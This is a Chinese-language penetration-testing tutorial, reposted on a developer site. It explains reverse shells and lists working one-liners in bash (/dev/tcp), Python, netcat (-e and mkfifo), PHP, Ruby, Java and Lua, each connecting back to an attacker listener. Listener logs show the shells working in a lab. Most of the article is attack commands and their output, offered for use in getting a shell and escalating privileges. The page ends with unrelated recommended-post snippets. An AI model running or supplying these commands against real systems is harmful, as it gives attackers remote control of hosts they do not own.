反弹Shell

反弹Shell

反弹Shell

大家在做渗透测试的时候,遇到linux的服务器,想反弹shell回来本地溢出提权,怎么办?上传反弹脚本?当然可以,简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。今天再告诉大家几种方法

环境说明:

check1:192.168.233.10   C6  2.6.32-696.30.1.el6.x86_64  本地
check2:192.168.233.20   C7  3.10.0-862.3.3.el7.x86_64   远程

BASH:

首先要在本地配置好nc工具,配置方法之前的文章有

在本地使用nc监听一个端口:

[root@wcy ~]# nc -lvv 6699

在远程机器上操作:

[root@localhost ~]# bash -i >& /dev/tcp/192.168.233.10/6699 0>&1

本地可以看到远程机器的shell已经返回到本地上面

[root@wcy ~]# nc -lvv 6699
Connection from 192.168.233.20 port 6699 [tcp/*] accepted
[root@localhost ~]# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host 
valid_lft forever preferred_lft forever
2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:6b:b8:d5 brd ff:ff:ff:ff:ff:ff
inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link 
valid_lft forever preferred_lft forever
[root@localhost ~]#

原理:

  1. A主机开启9090端口的tcp服务

  2. B主机连接到A主机的9090的tcp服务

  3. A主机通过tcp服务把命令发到B主机

  4. B主机读取命令并且在bash中执行

  5. B主机把执行结果发给A主机

Linux文件描述符,Linux shell的三种标准的文件描述符

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

参数解释:

bash -i  

bash -i代表在本地打开一个bash,

>&   

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

也有师傅把&这个符号解释为是取地址符号,学过C语言的小伙伴们都知道&这个符号代表取地址符,在C++中&符号还代表为引用,这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准错误重定向到标准输出,如果直接cat notexistfile 2>1的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而&的作用就是为了区分文件和文件描述

[root@wcy ~]# cat check 2>1
[root@wcy ~]# cat 1
cat: check: 没有那个文件或目录
[root@wcy ~]# cat check
cat: check: 没有那个文件或目录
[root@wcy ~]# 

  

/dev/tcp/192.168.233.10/6699 

就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机C6输入命令,输出以及错误输出的内容就会被传递显示到远程。

0>&1

代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了:

那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程

 

python实现反弹shell:

首先本地还需要监听一个端口

[root@wcy ~]# nc -lvv 6699

远程机器执行

[root@localhost ~]# python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.233.10',6699));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"

成功反弹

[root@wcy ~]# nc -lvv 6699
Connection from 192.168.233.20 port 6699 [tcp/*] accepted
[root@localhost ~]# ip a | grep inet
ip a | grep inet
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host 
inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link 
[root@localhost ~]#

  

nc版:

本地主机打开一个监听端口

[root@wcy ~]# nc -lvv 6699

远程主机连接此端口,连接后(-e)并打开/bin/bash

[root@localhost ~]# nc -e /bin/bash 192.168.233.10 6699

效果如下:

[root@wcy ~]# nc -lvv 6699
Connection from 192.168.233.20 port 6699 [tcp/*] accepted
ls
anaconda-ks.cfg
epel-release-latest-7.noarch.rpm
krb5-libs-1.15.1-19.el7.x86_64.rpm
nohup.out
test.sh
ip a | grep inet
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host 
inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link

或者

[root@localhost ~]# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.233.10 6699 >/tmp/f

效果如下:

[root@wcy ~]# nc -lvv 6699
Connection from 192.168.233.20 port 6699 [tcp/*] accepted
sh-4.2# ls
ls
anaconda-ks.cfg
epel-release-latest-7.noarch.rpm
krb5-libs-1.15.1-19.el7.x86_64.rpm
nohup.out
test.sh
sh-4.2# ip a | grep inet
ip a | grep inet
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host 
inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link 
sh-4.2#

 

 

PHP版:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

  

ruby版

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

  

java版本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5
le read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

  

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

 

转载于:https://www.cnblogs.com/LuckWJL/p/9395412.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/101516.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Jlink或者stlink用于SWD接口下载程序

    Jlink或者stlink用于SWD接口下载程序最近要使用stm32f103c8t6最小系统板,直接ISP串口下载程序太麻烦,就想着使用swd接口来调试。结果:通过SWD接口下载程序成功,但调试失败,还不知原因,会的的人麻烦交流一下。SWD接口:3.3VDIO(数据)CLK(时钟)GND1.首先声明jlink和stlink都有jtag和swd调试功能。jlink接口如下:如图,我使用的就是VCC…

    2022年4月25日
    50
  • C#自定义特性实例

    元数据,就是C#中封装的一些类,无法修改.类成员的特性被称为元数据中的注释.1、什么是特性(1)属性与特性的区别属性(Property):属性是面向对象思想里所说的封装在类里面的数据字段,Get

    2021年12月24日
    53
  • 让王老吉崛起的三大营销战役「建议收藏」

    让王老吉崛起的三大营销战役「建议收藏」一个存在了百年的区域市场老品牌,在短短5年时间内崛起,迅速成长为具有全国影响力的饮料销售冠军,而且博得了良好的社会美誉,这其中有什么不为人知的营销实践?又有着怎样的成长秘诀?梳理王老吉的发展史,我们注意到,有三大营销战役决定了这个品牌的崛起。撷取这三次营销个案,不但可以让我们知道王老吉的崛起密码,还可以了解到网络营销、品牌定位、产品延伸等营销前沿思想的现实实践。一个“网络营销”的经典案例?如

    2025年7月27日
    4
  • python和java哪个好找工作-Python和java哪个就业前景好些?

    python和java哪个好找工作-Python和java哪个就业前景好些?之前写过一篇文章,Python和Java哪个更适合做自动化测试?这个和Python和JAVA哪个更有发展前景?有着异曲同工之妙。Python和Java的争锋由来已久,作为测试菜鸟入门测试行业,都会在这两种语言之间纠结,而大部分人选择一门语言的依据源于他们的发展前景。本文旨在为零基础小白提供一些中肯的意见。所以大佬们,请手下留情,提个人想法经验可以,但是不能说我~首先可以确认的是提出这个问题的肯定是…

    2022年7月7日
    27
  • goland激活码最新【2021.7最新】

    (goland激活码最新)JetBrains旗下有多款编译器工具(如:IntelliJ、WebStorm、PyCharm等)在各编程领域几乎都占据了垄断地位。建立在开源IntelliJ平台之上,过去15年以来,JetBrains一直在不断发展和完善这个平台。这个平台可以针对您的开发工作流进行微调并且能够提供…

    2022年3月21日
    51
  • 虚拟存储器中页面置换算法的实现课程设计_段页式存储管理方式的内存地址为

    虚拟存储器中页面置换算法的实现课程设计_段页式存储管理方式的内存地址为设计目的 通过请求页式存储管理中页面置换算法模拟程序,了解虚拟存储技术的特点,掌握请求页式存储管理的页面置换算法。 设计内容 阅读教材《计算机操作系统》第四章,掌握存储器管理相关概念和原理。模拟实现页式虚拟存储管理的三种页面置换算法(OPT、FIFO和LRU),并通过比较性能得出结论。前提:(1)页面分配采用固定分配局部置换。(2)作业的页面走向…

    2022年9月26日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号